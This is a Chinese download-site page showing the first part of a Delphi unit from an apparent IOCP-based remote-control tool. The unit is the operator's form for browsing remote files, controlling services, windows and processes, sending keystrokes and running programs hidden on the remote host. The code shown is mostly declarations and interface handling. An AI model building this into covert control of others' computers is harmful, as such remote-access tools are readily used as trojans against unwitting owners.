⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fileandclientinfoctrlunit.pas

📁 iocp远控比较完整的代码.iocp far more complete control of the code
💻 PAS
📖 第 1 页 / 共 5 页
字号:
unit FileAndClientInfoCtrlUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, StdCtrls, ToolWin, ExtCtrls, Menus,
  ImgList, ShellAPI, ShlObj, CommCtrl, ActiveX, xmldom, XMLIntf, msxmldom,
  XMLDoc, IocpHerder, PublicFunctionUnit, winsock2, winsock,
  {$WARNINGS  OFF}
  ShellCtrls;
  {$WARNINGS  ON}

const
  WM_DealDataMsg = WM_USER + 107;
  WM_ResetParamMsg = WM_USER + 200;
  WM_OneFileTransOk = WM_USER + 301;
  WM_FileTransProc = WM_USER + 302;
  WM_FileTransProcBar = WM_USER + 303;
  
type
  TFileAndInfoCtrlForm = class(TForm)
    PageControl1: TPageControl;
    TabSheet2: TTabSheet;
    Splitter2: TSplitter;
    Splitter3: TSplitter;
    PanelRemote: TPanel;
    ToolBar2: TToolBar;
    RTBUpDir: TToolButton;
    RCBTreeList: TComboBox;
    ListViewFile: TListView;
    PanelLocal: TPanel;
    ToolBar1: TToolBar;
    TBUpDir: TToolButton;
    ShellComboBox: TShellComboBox;
    ListViewTransmitList: TListView;
    ShellListView: TShellListView;
    TabSheet1: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    StatusBarMsg: TStatusBar;
    ImageListTransmitList: TImageList;
    PopupMenu1: TPopupMenu;
    PMCopy: TMenuItem;
    PMCut: TMenuItem;
    PMPeast: TMenuItem;
    PMDelete: TMenuItem;
    PMRename: TMenuItem;
    N25: TMenuItem;
    N16: TMenuItem;
    PMRunNormal: TMenuItem;
    PMRunHide: TMenuItem;
    PMRunWithParam: TMenuItem;
    ImageListOperateAble: TImageList;
    XMLDocument1: TXMLDocument;
    PopupMenuLocal: TPopupMenu;
    MenuItem1: TMenuItem;
    MenuItem2: TMenuItem;
    MenuItem3: TMenuItem;
    MenuItem4: TMenuItem;
    MenuItem5: TMenuItem;
    MenuItem6: TMenuItem;
    MenuItem7: TMenuItem;
    MenuItem8: TMenuItem;
    MenuItem9: TMenuItem;
    MenuItem10: TMenuItem;
    RPMRefresh: TMenuItem;
    RPMCreateDir: TMenuItem;
    ListViewSysInfo: TListView;
    ListViewProcessList: TListView;
    ListViewWindowList: TListView;
    ListViewService: TListView;
    RPMServiceList: TPopupMenu;
    RPMStartCervice: TMenuItem;
    RPMStopService: TMenuItem;
    RPMPauseService: TMenuItem;
    RPMContinueService: TMenuItem;
    RPMSetManualStart: TMenuItem;
    RPMSetAutoStart: TMenuItem;
    RPMSetDisableStart: TMenuItem;
    RPMAddNewService: TMenuItem;
    RPMDeletService: TMenuItem;
    N1: TMenuItem;
    RPMRefreshList: TMenuItem;
    PMSystemInfo: TPopupMenu;
    RPMRefreshSysInfo: TMenuItem;
    RPMWindowList: TPopupMenu;
    RPMCloseWindow: TMenuItem;
    RPMHideWindow: TMenuItem;
    RPMShowWindow: TMenuItem;
    N5: TMenuItem;
    RPMMinWindow: TMenuItem;
    RPMMaxWindow: TMenuItem;
    RPMRestoreWindow: TMenuItem;
    N9: TMenuItem;
    RPMRefreshWindowList: TMenuItem;
    RPMBringWndToFront: TMenuItem;
    RPMProcessList: TPopupMenu;
    RPMTerminateProcess: TMenuItem;
    RPMRefreshProcessList: TMenuItem;
    ToolBar3: TToolBar;
    EditSendChar: TEdit;
    BSendEnterAndCtrl: TButton;
    BSendEner: TButton;
    TimerFileTransmit: TTimer;
    FileProgressBar: TProgressBar;
    N2: TMenuItem;
    N3: TMenuItem;
    procedure ToolBar1Resize(Sender: TObject);
    procedure ToolBar2Resize(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ListViewFileDblClick(Sender: TObject);
    procedure RTBUpDirClick(Sender: TObject); 
    procedure ShellListViewDragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
    procedure ListViewFileDragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
    procedure TBUpDirClick(Sender: TObject);
    procedure ShellListViewDragDrop(Sender, Source: TObject; X,
      Y: Integer);
    procedure ListViewFileDragDrop(Sender, Source: TObject; X, Y: Integer);
    procedure PMPeastClick(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure PMCopyClick(Sender: TObject);
    procedure PMCutClick(Sender: TObject);
    procedure PMDeleteClick(Sender: TObject);
    procedure PMRenameClick(Sender: TObject);
    procedure ListViewFileColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewFileCompare(Sender: TObject; Item1, Item2: TListItem;
      Data: Integer; var Compare: Integer);
    procedure RPMCreateDirClick(Sender: TObject);
    procedure RPMRefreshClick(Sender: TObject);
    procedure PMRunNormalClick(Sender: TObject);
    procedure PMRunHideClick(Sender: TObject);
    procedure PMRunWithParamClick(Sender: TObject);
    procedure PageControl1Change(Sender: TObject);
    procedure RPMRefreshListClick(Sender: TObject);
    procedure ListViewServiceColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewServiceCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure RPMRefreshSysInfoClick(Sender: TObject);
    procedure RPMStartCerviceClick(Sender: TObject);
    procedure RPMStopServiceClick(Sender: TObject);
    procedure RPMPauseServiceClick(Sender: TObject);
    procedure RPMContinueServiceClick(Sender: TObject);
    procedure RPMSetAutoStartClick(Sender: TObject);
    procedure RPMSetManualStartClick(Sender: TObject);
    procedure RPMSetDisableStartClick(Sender: TObject);
    procedure RPMDeletServiceClick(Sender: TObject);
    procedure RPMAddNewServiceClick(Sender: TObject);
    procedure RPMRefreshWindowListClick(Sender: TObject);
    procedure ListViewWindowListColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewWindowListCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure RPMShowWindowClick(Sender: TObject);
    procedure RPMCloseWindowClick(Sender: TObject);
    procedure RPMMinWindowClick(Sender: TObject);
    procedure RPMMaxWindowClick(Sender: TObject);
    procedure RPMRestoreWindowClick(Sender: TObject);
    procedure RPMBringWndToFrontClick(Sender: TObject);
    procedure RPMHideWindowClick(Sender: TObject);
    procedure RPMRefreshProcessListClick(Sender: TObject);
    procedure RPMTerminateProcessClick(Sender: TObject);
    procedure ListViewProcessListColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewProcessListCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure RPMServiceListPopup(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction); 
    procedure ToolBar3Resize(Sender: TObject);
    procedure BSendEnerClick(Sender: TObject);
    procedure BSendEnterAndCtrlClick(Sender: TObject);
    procedure StatusBarMsgDrawPanel(StatusBar: TStatusBar;
      Panel: TStatusPanel; const Rect: TRect);
  private
    CutOrCopySourceStr : string;
    CutOrCopy : DWORD;
    //listview排序
    SortCol : Integer;
    SortWay : Integer;
    //ServiceList排序
    ServiceListSortCol : Integer;
    ServiceListSortWay : Integer;
    //窗口列表排序
    WindowListSortCol : Integer;
    WindowListSortWay : Integer;
    //进程列表排序
    ProcessListSortCol : Integer;
    ProcessListSortWay : Integer;
    //命令头信息
    CMDHeader : TInterChangeHeader;
    //变量访问你控制的临界区
    ListAccessSemaphore : TRTLCriticalSection;
    //开机时间,用来计算传输速度
    TransmitTime : DWORD;
    //文件大小
    TransmitFileSize : DWORD;
    //已传输的大小
    CurrenrTransmitFileSize : DWORD;
    procedure ReceiveNotifyMsg(var Message: TMessage); message WM_DealDataMsg;
    //接受一个文件下载完成的消息
    procedure ReceiveNotifyFileOkMsg(var Message: TMessage); message WM_OneFileTransOk;
    //更新进度条消息
    procedure ReceiveNotifyFileProcMsg(var Message: TMessage); message WM_FileTransProc;
    procedure ReceiveNotifySetProBarMsg(var Message: TMessage); message WM_FileTransProcBar; 
    //根据xml描述文件,将信息分解
    procedure XML2List(const ListType : Byte; out FileCount : DWORD);
    //服务列表
    procedure XML2ListService(const ListType : Byte; out FileCount : DWORD);
    //窗口列表
    procedure XML2ListWindow(const ListType : Byte; out FileCount : DWORD);
    //进程列表
    procedure XML2ListProcess(const ListType : Byte; out FileCount : DWORD);
    {-------以下是文件管理函数-------}
    procedure SetListViewImageList;

    { Private declarations }
  public
    //文件管理用 
    RemoteCmpedFrameArray : array[0..524288 - 1] of Char; //存放屏传压缩数据的内存池
    RemoteUnCmpedFrameArray : array[0..524288 * 3 - 1] of Char; //存放屏传解压缩数据的内存池
    RemoteCmpedFrameData : Pointer;
    RemoteUnCmpedFrameData : Pointer;
    tmpDataBuffer : TtmpBuf;//粘包处理用 
    //对应的socket
    ClientSocket : TSocket; 
    //对应的主socket的单io数据指针
    MainClientSocketIP_IO : PPerHandleData;
    //系统管理的单io数据
    SubClientSocketIP_IO : PPerHandleData;
    //标题栏的数据
    CaptionStr : string;
    //事件,用来等待数据处理完成的通知
    MsgDealDataOkNotifyEvent : THandle;
    //标志是否正在关闭
    IsClosing : Boolean;
    //文件接受的文件流
    RecvFileStream : TFileStream;
    { Public declarations }
  end;

var 
  //上次访问的目录
  LastPath : string;
  //当前所在的目录
  CurrentPath : string;

implementation

   uses MainWindow;

{$R *.dfm}

procedure TFileAndInfoCtrlForm.ToolBar1Resize(Sender: TObject);
begin 
  ShellComboBox.Left := TBUpDir.Left + TBUpDir.Width;
  ShellComboBox.Width := ToolBar1.Width - ShellComboBox.Left;
end;

procedure TFileAndInfoCtrlForm.ToolBar2Resize(Sender: TObject);
begin
  RCBTreeList.Left := RTBUpDir.Left + RTBUpDir.Width;
  RCBTreeList.Width := ToolBar2.Width - RCBTreeList.Left;
end;

procedure TFileAndInfoCtrlForm.FormCreate(Sender: TObject);
var
  ProgressBarStyle : integer;
begin
  //首先填充treeview的文件夹等图标,用系统的填充
  SetListViewImageList;
  CurrentPath := '我的电脑';
  ZeroMemory(@CMDHeader, sizeof(TInterChangeHeader));
  //创建一个事件
  MsgDealDataOkNotifyEvent := CreateEvent(nil, False, False, 'MsgDealDataOkNotifyEvent');
  IsClosing := False;
  //下载列表的变量
  InitializeCriticalSection(ListAccessSemaphore);
  //设置第4个是可以放置其他部件的
  StatusBarMsg.Panels[3].Style := psOwnerDraw;
  //将进程条放入状态栏
  FileProgressBar.Parent := StatusBarMsg;
  FileProgressBar.Smooth := True;
  //去除状态栏的边框,这样就与状态栏溶为一体了
  ProgressBarStyle := GetWindowLong(FileProgressBar.Handle, GWL_EXSTYLE);
  ProgressBarStyle := ProgressBarStyle - WS_EX_STATICEDGE;
  SetWindowLong(FileProgressBar.Handle, GWL_EXSTYLE, ProgressBarStyle);
end;

//插入进度条到状态条
procedure TFileAndInfoCtrlForm.StatusBarMsgDrawPanel(StatusBar: TStatusBar;
  Panel: TStatusPanel; const Rect: TRect);
begin
  //注意这里的Panels[3]指的就是第4块面板,因为默认是从0开始的
  if Panel = StatusBar.Panels[3] then
    with FileProgressBar do begin
      Top := Rect.Top;
      Left := Rect.Left;
      Width := Rect.Right - Rect.Left;
      Height := Rect.Bottom - Rect.Top;
    end;
end;

//窗口类关闭
procedure TFileAndInfoCtrlForm.FormClose(Sender: TObject;
  var Action: TCloseAction);
begin
  IsClosing := True;
  if MainClientSocketIP_IO <> nil then
    Caption := CaptionStr + ',等待窗体数据关闭,请稍等';
  try
    if MainClientSocketIP_IO <> nil then
    begin 
      //将主socket内的记录清零
      MainClientSocketIP_IO^.AllCtrlInstance.GetSystemInfoInstance := 0;
      ZeroMemory(@CMDHeader, sizeof(CMDHeader));
      //关闭远类实例= 1
      CMDHeader.Order := 1;
      //先关闭管理socket
      CMDHeader.OrderObject := GetSystemInfo;
      SetCmdSignByte(MainClientSocketIP_IO^.Socket, CMDHeader, False);
      //等待数据处理线程退出
      Sleep(600);
    end; 
  except

  end;
  //释放事件
  CloseHandle(MsgDealDataOkNotifyEvent);
  //删除互斥
  DeleteCriticalSection(ListAccessSemaphore);
  if RecvFileStream <> nil then RecvFileStream.Free;
  Action := caFree;
end;

//后退功能
procedure TFileAndInfoCtrlForm.TBUpDirClick(Sender: TObject);
begin
  if (ShellComboBox.Path <> '我的电脑') and (ShellComboBox.Path <> 'My Computer') then
    ShellListView.Back; 
end;

//接受拖拽
procedure TFileAndInfoCtrlForm.ShellListViewDragOver(Sender,
  Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
  if Source = ListViewFile then
    Accept := True
  else
    Accept := False;
end;

//接受拖拽
procedure TFileAndInfoCtrlForm.ListViewFileDragOver(Sender,
  Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean);
begin
  Accept := True;
end;

//结束拖拽,接受文件下载

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -